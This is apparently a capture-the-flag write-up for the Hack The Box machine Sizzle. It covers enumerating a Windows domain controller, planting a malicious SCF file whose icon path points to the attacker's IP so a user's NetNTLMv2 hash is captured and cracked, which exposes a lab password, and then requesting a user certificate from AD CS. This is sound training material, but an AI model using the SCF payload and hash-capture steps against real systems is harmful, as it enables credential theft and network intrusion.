Sizzle HTB

IP

10.10.10.103

Lets start with our initial nmap scan

nmap -p- --min-rate 10000 10.10.10.103 | cut -d"/" -f1 | tr '\n' ','

we can see we have the following ports open

21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49667,49668,49676,49689,49690,49693,49696,49712,49716

Lets run a more in-depth scan of the target

sudo nmap -sCV -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49667,49668,49676,49689,49690,49693,49696,49712,49716 10.10.10.103 -oA Nmap_scan

Results

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2023-12-14T00:53:05+00:00; -34s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
| tls-alpn: 
|   h2
|_  http/1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2023-12-14T00:53:05+00:00; -33s from scanner time.
|_http-title: Site doesn't have a title (text/html).
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2023-12-14T00:53:05+00:00; -33s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2023-12-14T00:53:05+00:00; -33s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2023-12-14T00:53:05+00:00; -33s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn: 
|   h2
|_  http/1.1
|_ssl-date: 2023-12-14T00:53:05+00:00; -33s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after:  2019-07-02T20:26:23
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49712/tcp open  msrpc         Microsoft Windows RPC
49716/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-12-14T00:52:29
|_  start_date: 2023-12-14T00:48:26
|_clock-skew: mean: -33s, deviation: 0s, median: -33s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.99 seconds

from the results we can see

  • the Domain name: HTB.LOCAL lets add this to our hosts file

  • The common name: SIZLE we'll add this to the hosts file also

  • Port 21 (FTP) allows for anonymous authentication

  • Port 80 (HTTP) is running: Microsoft IIS httpd 10.0 Indicating this is very likely a windows machine

Initial Enumeration via Anonymous

Port 53 DNS

Let see if we can perform a zone transfer using dig

dig axfr @10.10.10.103 htb.local
  • No results (failed)

Port 21 FTP

Since anonymous authentication is permitted within the FTP service lets see if we can find any juicy information

ftp anonymous@10.10.10.103
  • authentication was successful

  • No information within FTP

Port 445 SMB

Let's see if SMB allows for anonymous authentication

crackmapexec smb 10.10.10.103 -u anonymous -p ''
  • successful

let's list the shares and see if we can find anything

crackmapexec smb 10.10.10.103 -u anonymous -p '' --shares
  • Department Shares seems interesting lets see if there is anything interesting there

crackmapexec smb 10.10.10.103 -u anonymous -p '' -M spider_plus
  • -M to specify a module to utilize

  • spider plus: will crawl the smb shares we have access to and jump what they contain within a JSON file, then this JSON file is saved within the /tmp/cme_spider_plus/<target ip>.json

lets clean up the JSON file so it is easier to view

cat 10.10.10.103.json | jq -r '.["Department Shares"] | to_entries[] | "\(.key)/\(.value | keys[])"' | grep -v null > clean_smbshare_contents.txt

results

ZZ_ARCHIVE/AddComplete.pptx/atime_epoch
ZZ_ARCHIVE/AddComplete.pptx/ctime_epoch
ZZ_ARCHIVE/AddComplete.pptx/mtime_epoch
ZZ_ARCHIVE/AddComplete.pptx/size
ZZ_ARCHIVE/AddMerge.ram/atime_epoch
ZZ_ARCHIVE/AddMerge.ram/ctime_epoch
ZZ_ARCHIVE/AddMerge.ram/mtime_epoch
ZZ_ARCHIVE/AddMerge.ram/size
ZZ_ARCHIVE/ConfirmUnprotect.doc/atime_epoch
ZZ_ARCHIVE/ConfirmUnprotect.doc/ctime_epoch
ZZ_ARCHIVE/ConfirmUnprotect.doc/mtime_epoch
ZZ_ARCHIVE/ConfirmUnprotect.doc/size
ZZ_ARCHIVE/ConvertFromInvoke.mov/atime_epoch
ZZ_ARCHIVE/ConvertFromInvoke.mov/ctime_epoch
ZZ_ARCHIVE/ConvertFromInvoke.mov/mtime_epoch
ZZ_ARCHIVE/ConvertFromInvoke.mov/size
ZZ_ARCHIVE/ConvertJoin.docx/atime_epoch
ZZ_ARCHIVE/ConvertJoin.docx/ctime_epoch
ZZ_ARCHIVE/ConvertJoin.docx/mtime_epoch
ZZ_ARCHIVE/ConvertJoin.docx/size
ZZ_ARCHIVE/CopyPublish.ogg/atime_epoch
ZZ_ARCHIVE/CopyPublish.ogg/ctime_epoch
ZZ_ARCHIVE/CopyPublish.ogg/mtime_epoch
ZZ_ARCHIVE/CopyPublish.ogg/size
ZZ_ARCHIVE/DebugMove.mpg/atime_epoch
ZZ_ARCHIVE/DebugMove.mpg/ctime_epoch
ZZ_ARCHIVE/DebugMove.mpg/mtime_epoch
ZZ_ARCHIVE/DebugMove.mpg/size
ZZ_ARCHIVE/DebugSelect.mpg/atime_epoch
ZZ_ARCHIVE/DebugSelect.mpg/ctime_epoch
ZZ_ARCHIVE/DebugSelect.mpg/mtime_epoch
ZZ_ARCHIVE/DebugSelect.mpg/size
ZZ_ARCHIVE/DebugUse.pptx/atime_epoch
ZZ_ARCHIVE/DebugUse.pptx/ctime_epoch
ZZ_ARCHIVE/DebugUse.pptx/mtime_epoch
ZZ_ARCHIVE/DebugUse.pptx/size
ZZ_ARCHIVE/DisconnectApprove.ogg/atime_epoch
ZZ_ARCHIVE/DisconnectApprove.ogg/ctime_epoch
ZZ_ARCHIVE/DisconnectApprove.ogg/mtime_epoch
ZZ_ARCHIVE/DisconnectApprove.ogg/size
ZZ_ARCHIVE/DisconnectDebug.mpeg2/atime_epoch
ZZ_ARCHIVE/DisconnectDebug.mpeg2/ctime_epoch
ZZ_ARCHIVE/DisconnectDebug.mpeg2/mtime_epoch
ZZ_ARCHIVE/DisconnectDebug.mpeg2/size
ZZ_ARCHIVE/EditCompress.xls/atime_epoch
ZZ_ARCHIVE/EditCompress.xls/ctime_epoch
ZZ_ARCHIVE/EditCompress.xls/mtime_epoch
ZZ_ARCHIVE/EditCompress.xls/size
ZZ_ARCHIVE/EditMount.doc/atime_epoch
ZZ_ARCHIVE/EditMount.doc/ctime_epoch
ZZ_ARCHIVE/EditMount.doc/mtime_epoch
ZZ_ARCHIVE/EditMount.doc/size
ZZ_ARCHIVE/EditSuspend.mp3/atime_epoch
ZZ_ARCHIVE/EditSuspend.mp3/ctime_epoch
ZZ_ARCHIVE/EditSuspend.mp3/mtime_epoch
ZZ_ARCHIVE/EditSuspend.mp3/size
ZZ_ARCHIVE/EnableAdd.pptx/atime_epoch
ZZ_ARCHIVE/EnableAdd.pptx/ctime_epoch
ZZ_ARCHIVE/EnableAdd.pptx/mtime_epoch
ZZ_ARCHIVE/EnableAdd.pptx/size
ZZ_ARCHIVE/EnablePing.mov/atime_epoch
ZZ_ARCHIVE/EnablePing.mov/ctime_epoch
ZZ_ARCHIVE/EnablePing.mov/mtime_epoch
ZZ_ARCHIVE/EnablePing.mov/size
ZZ_ARCHIVE/EnableSend.ppt/atime_epoch
ZZ_ARCHIVE/EnableSend.ppt/ctime_epoch
ZZ_ARCHIVE/EnableSend.ppt/mtime_epoch
ZZ_ARCHIVE/EnableSend.ppt/size
ZZ_ARCHIVE/EnterMerge.mpeg/atime_epoch
ZZ_ARCHIVE/EnterMerge.mpeg/ctime_epoch
ZZ_ARCHIVE/EnterMerge.mpeg/mtime_epoch
ZZ_ARCHIVE/EnterMerge.mpeg/size
ZZ_ARCHIVE/ExitEnter.mpg/atime_epoch
ZZ_ARCHIVE/ExitEnter.mpg/ctime_epoch
ZZ_ARCHIVE/ExitEnter.mpg/mtime_epoch
ZZ_ARCHIVE/ExitEnter.mpg/size
ZZ_ARCHIVE/ExportEdit.ogg/atime_epoch
ZZ_ARCHIVE/ExportEdit.ogg/ctime_epoch
ZZ_ARCHIVE/ExportEdit.ogg/mtime_epoch
ZZ_ARCHIVE/ExportEdit.ogg/size
ZZ_ARCHIVE/GetOptimize.pdf/atime_epoch
ZZ_ARCHIVE/GetOptimize.pdf/ctime_epoch
ZZ_ARCHIVE/GetOptimize.pdf/mtime_epoch
ZZ_ARCHIVE/GetOptimize.pdf/size
ZZ_ARCHIVE/GroupSend.rm/atime_epoch
ZZ_ARCHIVE/GroupSend.rm/ctime_epoch
ZZ_ARCHIVE/GroupSend.rm/mtime_epoch
ZZ_ARCHIVE/GroupSend.rm/size
ZZ_ARCHIVE/HideExpand.rm/atime_epoch
ZZ_ARCHIVE/HideExpand.rm/ctime_epoch
ZZ_ARCHIVE/HideExpand.rm/mtime_epoch
ZZ_ARCHIVE/HideExpand.rm/size
ZZ_ARCHIVE/InstallWait.pptx/atime_epoch
ZZ_ARCHIVE/InstallWait.pptx/ctime_epoch
ZZ_ARCHIVE/InstallWait.pptx/mtime_epoch
ZZ_ARCHIVE/InstallWait.pptx/size
ZZ_ARCHIVE/JoinEnable.ram/atime_epoch
ZZ_ARCHIVE/JoinEnable.ram/ctime_epoch
ZZ_ARCHIVE/JoinEnable.ram/mtime_epoch
ZZ_ARCHIVE/JoinEnable.ram/size
ZZ_ARCHIVE/LimitInstall.doc/atime_epoch
ZZ_ARCHIVE/LimitInstall.doc/ctime_epoch
ZZ_ARCHIVE/LimitInstall.doc/mtime_epoch
ZZ_ARCHIVE/LimitInstall.doc/size
ZZ_ARCHIVE/LimitStep.ppt/atime_epoch
ZZ_ARCHIVE/LimitStep.ppt/ctime_epoch
ZZ_ARCHIVE/LimitStep.ppt/mtime_epoch
ZZ_ARCHIVE/LimitStep.ppt/size
ZZ_ARCHIVE/MergeBlock.mp3/atime_epoch
ZZ_ARCHIVE/MergeBlock.mp3/ctime_epoch
ZZ_ARCHIVE/MergeBlock.mp3/mtime_epoch
ZZ_ARCHIVE/MergeBlock.mp3/size
ZZ_ARCHIVE/MountClear.mpeg2/atime_epoch
ZZ_ARCHIVE/MountClear.mpeg2/ctime_epoch
ZZ_ARCHIVE/MountClear.mpeg2/mtime_epoch
ZZ_ARCHIVE/MountClear.mpeg2/size
ZZ_ARCHIVE/MoveUninstall.docx/atime_epoch
ZZ_ARCHIVE/MoveUninstall.docx/ctime_epoch
ZZ_ARCHIVE/MoveUninstall.docx/mtime_epoch
ZZ_ARCHIVE/MoveUninstall.docx/size
ZZ_ARCHIVE/NewInitialize.doc/atime_epoch
ZZ_ARCHIVE/NewInitialize.doc/ctime_epoch
ZZ_ARCHIVE/NewInitialize.doc/mtime_epoch
ZZ_ARCHIVE/NewInitialize.doc/size
ZZ_ARCHIVE/OutConnect.mpeg2/atime_epoch
ZZ_ARCHIVE/OutConnect.mpeg2/ctime_epoch
ZZ_ARCHIVE/OutConnect.mpeg2/mtime_epoch
ZZ_ARCHIVE/OutConnect.mpeg2/size
ZZ_ARCHIVE/PingGet.dot/atime_epoch
ZZ_ARCHIVE/PingGet.dot/ctime_epoch
ZZ_ARCHIVE/PingGet.dot/mtime_epoch
ZZ_ARCHIVE/PingGet.dot/size
ZZ_ARCHIVE/ReceiveInvoke.mpeg2/atime_epoch
ZZ_ARCHIVE/ReceiveInvoke.mpeg2/ctime_epoch
ZZ_ARCHIVE/ReceiveInvoke.mpeg2/mtime_epoch
ZZ_ARCHIVE/ReceiveInvoke.mpeg2/size
ZZ_ARCHIVE/RemoveEnter.mpeg3/atime_epoch
ZZ_ARCHIVE/RemoveEnter.mpeg3/ctime_epoch
ZZ_ARCHIVE/RemoveEnter.mpeg3/mtime_epoch
ZZ_ARCHIVE/RemoveEnter.mpeg3/size
ZZ_ARCHIVE/RemoveRestart.mpeg/atime_epoch
ZZ_ARCHIVE/RemoveRestart.mpeg/ctime_epoch
ZZ_ARCHIVE/RemoveRestart.mpeg/mtime_epoch
ZZ_ARCHIVE/RemoveRestart.mpeg/size
ZZ_ARCHIVE/RequestJoin.mpeg2/atime_epoch
ZZ_ARCHIVE/RequestJoin.mpeg2/ctime_epoch
ZZ_ARCHIVE/RequestJoin.mpeg2/mtime_epoch
ZZ_ARCHIVE/RequestJoin.mpeg2/size
ZZ_ARCHIVE/RequestOpen.ogg/atime_epoch
ZZ_ARCHIVE/RequestOpen.ogg/ctime_epoch
ZZ_ARCHIVE/RequestOpen.ogg/mtime_epoch
ZZ_ARCHIVE/RequestOpen.ogg/size
ZZ_ARCHIVE/ResetCompare.avi/atime_epoch
ZZ_ARCHIVE/ResetCompare.avi/ctime_epoch
ZZ_ARCHIVE/ResetCompare.avi/mtime_epoch
ZZ_ARCHIVE/ResetCompare.avi/size
ZZ_ARCHIVE/ResetUninstall.mpeg/atime_epoch
ZZ_ARCHIVE/ResetUninstall.mpeg/ctime_epoch
ZZ_ARCHIVE/ResetUninstall.mpeg/mtime_epoch
ZZ_ARCHIVE/ResetUninstall.mpeg/size
ZZ_ARCHIVE/ResumeCompare.doc/atime_epoch
ZZ_ARCHIVE/ResumeCompare.doc/ctime_epoch
ZZ_ARCHIVE/ResumeCompare.doc/mtime_epoch
ZZ_ARCHIVE/ResumeCompare.doc/size
ZZ_ARCHIVE/SelectPop.ogg/atime_epoch
ZZ_ARCHIVE/SelectPop.ogg/ctime_epoch
ZZ_ARCHIVE/SelectPop.ogg/mtime_epoch
ZZ_ARCHIVE/SelectPop.ogg/size
ZZ_ARCHIVE/SuspendWatch.mp4/atime_epoch
ZZ_ARCHIVE/SuspendWatch.mp4/ctime_epoch
ZZ_ARCHIVE/SuspendWatch.mp4/mtime_epoch
ZZ_ARCHIVE/SuspendWatch.mp4/size
ZZ_ARCHIVE/SwitchConvertFrom.mpg/atime_epoch
ZZ_ARCHIVE/SwitchConvertFrom.mpg/ctime_epoch
ZZ_ARCHIVE/SwitchConvertFrom.mpg/mtime_epoch
ZZ_ARCHIVE/SwitchConvertFrom.mpg/size
ZZ_ARCHIVE/UndoPing.rm/atime_epoch
ZZ_ARCHIVE/UndoPing.rm/ctime_epoch
ZZ_ARCHIVE/UndoPing.rm/mtime_epoch
ZZ_ARCHIVE/UndoPing.rm/size
ZZ_ARCHIVE/UninstallExpand.mp3/atime_epoch
ZZ_ARCHIVE/UninstallExpand.mp3/ctime_epoch
ZZ_ARCHIVE/UninstallExpand.mp3/mtime_epoch
ZZ_ARCHIVE/UninstallExpand.mp3/size
ZZ_ARCHIVE/UnpublishSplit.ppt/atime_epoch
ZZ_ARCHIVE/UnpublishSplit.ppt/ctime_epoch
ZZ_ARCHIVE/UnpublishSplit.ppt/mtime_epoch
ZZ_ARCHIVE/UnpublishSplit.ppt/size
ZZ_ARCHIVE/UnregisterPing.pptx/atime_epoch
ZZ_ARCHIVE/UnregisterPing.pptx/ctime_epoch
ZZ_ARCHIVE/UnregisterPing.pptx/mtime_epoch
ZZ_ARCHIVE/UnregisterPing.pptx/size
ZZ_ARCHIVE/UpdateRead.mpeg/atime_epoch
ZZ_ARCHIVE/UpdateRead.mpeg/ctime_epoch
ZZ_ARCHIVE/UpdateRead.mpeg/mtime_epoch
ZZ_ARCHIVE/UpdateRead.mpeg/size
ZZ_ARCHIVE/WaitRevoke.pptx/atime_epoch
ZZ_ARCHIVE/WaitRevoke.pptx/ctime_epoch
ZZ_ARCHIVE/WaitRevoke.pptx/mtime_epoch
ZZ_ARCHIVE/WaitRevoke.pptx/size
ZZ_ARCHIVE/WriteUninstall.mp3/atime_epoch
ZZ_ARCHIVE/WriteUninstall.mp3/ctime_epoch
ZZ_ARCHIVE/WriteUninstall.mp3/mtime_epoch
ZZ_ARCHIVE/WriteUninstall.mp3/size
  • Dont really now what to make of these

  • Let use smbclient and enumerate further

smbclient -N '//10.10.10.103/Department Shares'

we can see quite alot of directories

if we look at the Users directory we can see a list of possible users for the machine

we can save these user to a file and perform some bash kung fu to clean them up

cat users| awk '{print $1}' > usernames.txt

Lets mount the Department Shares to our local machine for ease of inspecting these files

sudo mount -t cifs '//10.10.10.103/Department Shares' /mnt

Letts see if we have any write access within the share

  • for this we can use the tool smbcacls: what does it do

    • Set or Get Access Control lists on a NT file or directory names, essentially we can use this tool to check for writeable files and direcotries within the Department Shares

#!/bin/bash

# Iterate over each directory in /mnt
for dir in $(ls /mnt); do
    # Iterate over each subdirectory in the current directory
    for subdir in $(ls /mnt/$dir); do
        # Use smbcacls to check permissions of the current subdirectory
        # -N option specifies no credentials (anonymous)
        smbcacls "//10.10.10.103/Department Shares" "$dir/$subdir" -N |
            # Check if "everyone" has "full control" permissions
            grep -i everyone | grep -i full > /dev/null &&
            # Print a message if write permissions are found
            echo "[*] Directory $dir/$subdir: Write permissions"
    done
done

Once we run this script

bash find_writeable.sh 

we can see we have the following write permissions

[*] Directory Users/Public: Write permissions
[*] Directory ZZ_ARCHIVE/AddComplete.pptx: Write permissions
[*] Directory ZZ_ARCHIVE/AddMerge.ram: Write permissions
[*] Directory ZZ_ARCHIVE/ConfirmUnprotect.doc: Write permissions
[*] Directory ZZ_ARCHIVE/ConvertFromInvoke.mov: Write permissions
[*] Directory ZZ_ARCHIVE/ConvertJoin.docx: Write permissions
[*] Directory ZZ_ARCHIVE/CopyPublish.ogg: Write permissions
[*] Directory ZZ_ARCHIVE/DebugMove.mpg: Write permissions
[*] Directory ZZ_ARCHIVE/DebugSelect.mpg: Write permissions
[*] Directory ZZ_ARCHIVE/DebugUse.pptx: Write permissions
[*] Directory ZZ_ARCHIVE/DisconnectApprove.ogg: Write permissions
[*] Directory ZZ_ARCHIVE/DisconnectDebug.mpeg2: Write permissions
[*] Directory ZZ_ARCHIVE/EditCompress.xls: Write permissions
[*] Directory ZZ_ARCHIVE/EditMount.doc: Write permissions
[*] Directory ZZ_ARCHIVE/EditSuspend.mp3: Write permissions
[*] Directory ZZ_ARCHIVE/EnableAdd.pptx: Write permissions
[*] Directory ZZ_ARCHIVE/EnablePing.mov: Write permissions
[*] Directory ZZ_ARCHIVE/EnableSend.ppt: Write permissions
[*] Directory ZZ_ARCHIVE/EnterMerge.mpeg: Write permissions
[*] Directory ZZ_ARCHIVE/ExitEnter.mpg: Write permissions
[*] Directory ZZ_ARCHIVE/ExportEdit.ogg: Write permissions
[*] Directory ZZ_ARCHIVE/GetOptimize.pdf: Write permissions
[*] Directory ZZ_ARCHIVE/GroupSend.rm: Write permissions
[*] Directory ZZ_ARCHIVE/HideExpand.rm: Write permissions
[*] Directory ZZ_ARCHIVE/InstallWait.pptx: Write permissions
[*] Directory ZZ_ARCHIVE/JoinEnable.ram: Write permissions
[*] Directory ZZ_ARCHIVE/LimitInstall.doc: Write permissions
[*] Directory ZZ_ARCHIVE/LimitStep.ppt: Write permissions
[*] Directory ZZ_ARCHIVE/MergeBlock.mp3: Write permissions
[*] Directory ZZ_ARCHIVE/MountClear.mpeg2: Write permissions
[*] Directory ZZ_ARCHIVE/MoveUninstall.docx: Write permissions
[*] Directory ZZ_ARCHIVE/NewInitialize.doc: Write permissions
[*] Directory ZZ_ARCHIVE/OutConnect.mpeg2: Write permissions
[*] Directory ZZ_ARCHIVE/PingGet.dot: Write permissions
[*] Directory ZZ_ARCHIVE/ReceiveInvoke.mpeg2: Write permissions
[*] Directory ZZ_ARCHIVE/RemoveEnter.mpeg3: Write permissions
[*] Directory ZZ_ARCHIVE/RemoveRestart.mpeg: Write permissions
[*] Directory ZZ_ARCHIVE/RequestJoin.mpeg2: Write permissions
[*] Directory ZZ_ARCHIVE/RequestOpen.ogg: Write permissions
[*] Directory ZZ_ARCHIVE/ResetCompare.avi: Write permissions
[*] Directory ZZ_ARCHIVE/ResetUninstall.mpeg: Write permissions
[*] Directory ZZ_ARCHIVE/ResumeCompare.doc: Write permissions
[*] Directory ZZ_ARCHIVE/SelectPop.ogg: Write permissions
[*] Directory ZZ_ARCHIVE/SuspendWatch.mp4: Write permissions
[*] Directory ZZ_ARCHIVE/SwitchConvertFrom.mpg: Write permissions
[*] Directory ZZ_ARCHIVE/UndoPing.rm: Write permissions
[*] Directory ZZ_ARCHIVE/UninstallExpand.mp3: Write permissions
[*] Directory ZZ_ARCHIVE/UnpublishSplit.ppt: Write permissions
[*] Directory ZZ_ARCHIVE/UnregisterPing.pptx: Write permissions
[*] Directory ZZ_ARCHIVE/UpdateRead.mpeg: Write permissions
[*] Directory ZZ_ARCHIVE/WaitRevoke.pptx: Write permissions
[*] Directory ZZ_ARCHIVE/WriteUninstall.mp3: Write permissions

we can see

  • Users/Publicis writeable

Now if we can write to a directory there is something called SCF (Shell Command Files) files, this is a good blog to brush up on https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ But essentially its a shortcut file in windows that allows for the execution of specific commands or scripts when a user opens the directory the files resides in, Now how can this be useful to us

  1. We are going to create a SCF file that will attempt a SMB connection to our local machine which we can capture a users password hash, our SCF file should contain the following

[Shell]
Command=2
IconFile=\\10.10.14.7\shrek123
[Taskbar]
Command=ToggleDesktop
  1. we are going to place this SCF file within the writeable directory Users/Public in the SMB share, cp file.scf /mnt/Users/Public

  2. when the user opens this directory this should execute the malicous SCF file and attempt and smb connection back to our local machine from which we will be running impacket-smbserver.py and capture the users password hash

impacket-smbserver shrek123 ./ -smb2support

we wait a few minutes and we have the password hash of the user amanda

Lets crack the password using hashcat, quick tip as we know this is a NetNTLMv2 hash we need to find the correct mode for hash cat we can grep it

hashcat -h | grep NetNTLMv2

Now let's crack it

hashcat -m 5600 amanda_hash.txt /usr/share/wordlists/rockyou.txt

we now have the password

amanda: Ashare1972

For good measure, Let's see if any of the files residing the ZZ_ARCHIVE Contain any data

Lets use create a bash script that will check for files that dont contain null bytes using the xxd

for file in /mnt/ZZ_ARCHIVE/*; do
    hex_dump=$(xxd -p "$file")
    
    # Check if the hex dump contains any non-null characters
    if [[ "$hex_dump" != "00000000"* ]]; then
        echo "Hex dump for non-null file: $file"
        echo "$hex_dump"
        echo "-------------------------"
    fi
done
sudo bash check_for_nullbytes.sh check_for_nullbytes.sh
  • returns nothing

Port 80 (http)

When we navigate to http://htb.local we can see the following

what we can see is

  • we can confirm that it is Microsoft ASP.NET framework

  • it is a windows server

if we look at the page source we can see the following

  • pretty dry

if we navigate to http://sizzle and http://sizzle.htb.local nothing changes within the webpages meaning there is most likely no virtual host routing

Port 443 HTTPS

  • Nothing new

Looking at the certificate we can see the following

  • if we look at the common name we can see HTB-SIZZLE-CA which is a certificate authority, meaning that it is likely someone configured a certificate authority on this box which is interesting

    • We can see when it was created and when it expires

    • 03 july 2018 - 02 july 2020

we can perform some dir busting using feroxbuster to see if we can find any hidden web pages on both the http and https

feroxbuster -u https://sizzle.htb.local/ -t 50 -L 5 -n -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x asp,aspx -k
feroxbuster -u http://sizzle.htb.local/ -t 50 -L 5 -n -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x asp,aspx
  • While these run well continue with our initial enumeration

  • Found nothing interesting

Lets check if there any virtual host routing when we navigate to https://sizzle and https://sizzle.htb.local there is no changes to the web page,

  • no virtual host routing on both http and https

Port 135 RPC

Lets see if we can access rpc anonymously

rpcclient -N -U anonymous 10.10.10.103
  • failed

Port 389 LDAP

Lets see if we can use an anonymous bond and perform a ldap dump using

ldapdomaindump ldap://10.10.10.103
  • No data returned

Lets check the namning context

ldapsearch -x -H ldap://10.10.10.103 -s base namingcontexts

we can confirm this is AD by the default configuration of AD

We can test if we can search for anything with an anonymous bind

ldapsearch -x -H ldap://10.10.10.103 -s sub -b "DC=HTB,DC=LOCAL"
  • which fails

Enumeration Via amanda

Now that we have the user Amanda's credentials, we should continue the enumeration process.

Since WinRM is open we can try and gain a shell with evil-winrm

evil-winrm -i 10.10.10.103 -u amanda -p 'Ashare1972'
  • No luck

SMB

Lets see if these credentials work for smb

crackmapexec smb 10.10.10.103 -u amanda -p 'Ashare1972'

we can see we can authenticate to SMB but we haven't pwned it meaning there is still work to be done

Lets list the shares we now have access to

crackmapexec smb 10.10.10.103 -u amanda -p 'Ashare1972' --shares

we can see we have read access to other shares now

more particularly the CertEnroll share we will visit this once we have checkout the other services

  • using amanda's credentials amanda: Ashare1972

  • we can access the Microsoft Active Directory Certificate Services, Now what can we actually do with this? and what is it exactly?

what is Microsoft Active Directory Certificate Services?

  • Active Directory Certificate Services (AD CS) is essentially a role within the Windows Server OS that implements Public Key Infrastructure (PKI) services. PKI Involves the use of cryptographic keys and certificates to ensure Communication and authenticate users (hint hint) and devices, its main goal is to ensure confidentiality and integrity of data

How we can exploit this?

  • essentially we are going to generate a certificate, we are going to use CertSRV to sign our certificate as Amanda, Which should authenticate us when we are PSRemoting into the machine

Steps

  1. Generate a private key using openssl

openssl genrsa -aes256 -out amanda.key 2048
# will be prmoted for password "password"
  1. we want to generate a new certificate signing request (CSR) Using our newly created private key amanda.key

openssl req -new -key amanda.key -out amanda.csr
  1. Now we want to get our certificate signing request signed within the AD CS we take our amanda.csr copy it

-----BEGIN CERTIFICATE REQUEST-----
MIICijCCAXICAQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx
ITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcN
AQEBBQADggEPADCCAQoCggEBAMXNaWPk0pFfC3GPGhT7DEpP7Idr07sEaoG0c7CI
UFzhouIDYyzTJ99tiOk1PR944hAI5KTXKLJzXc4gySZBokS7RIVJ7Bc5pyPlquPP
296cv6UJ3Ya67K/oExdJMRWgw5uTDrnYJL1PbGzR8LmXtKK7cG3ZrizLozHwQifp
SPExoVVgkmwXoYsR65d0d5esvv8q34ISJWwm9Wm8awzXXxvKZHNhDTWu1p3j4Q04
xriBJDoXB1MnQoi10LgoXqC4ilAl53AsXlP5tFDir+r7EhtnuiDu/Vh//QhKbF/y
BYZdjl7ixH9sCKmTbEmhr+w9TAt1SU30NUiQLkT53dGE+YECAwEAAaAAMA0GCSqG
SIb3DQEBCwUAA4IBAQC6kcZC9QIBYXpyYoH0BwHebqNdMjPovvK3jj7mvZMFLd9G
mDoX2MXt5DPrcbW8B/35yGq4Xsueonwq84quaNEtyhEWXWRTzNK2rPzyNB8/Vj+D
nqp87GjqrBvOBI1bnBxRioEbBW14CKZSFIWyjulS/2Iz3VJkHuM+tysy/rMrZ2cO
QQHzu8pgmR+rV/FI4e6Tj+h+ZYmGjUOS/cJe4JjJJzoG9K0gWc0Jq4xK7Dy1Qr0C
yI6sp8iS6u/SDwnB1MLKBQnsxkDDsCbWyQ/VqAmzKEP13fQpke7VNUszkiucbofb
ToF/TkUGhT/EKsLf/j/OdJ3EmFor2Rb+/B+doCF6
-----END CERTIFICATE REQUEST-----

we want to click on Request a certificate

click on advanced certificate request

Now we just simply paste our CSR into the saved request

  1. Next we can download our certificate

Now we have a certificate signed by the Certificate Authority, using the amanda user, which should allow us to authenticate to the Domain Controller

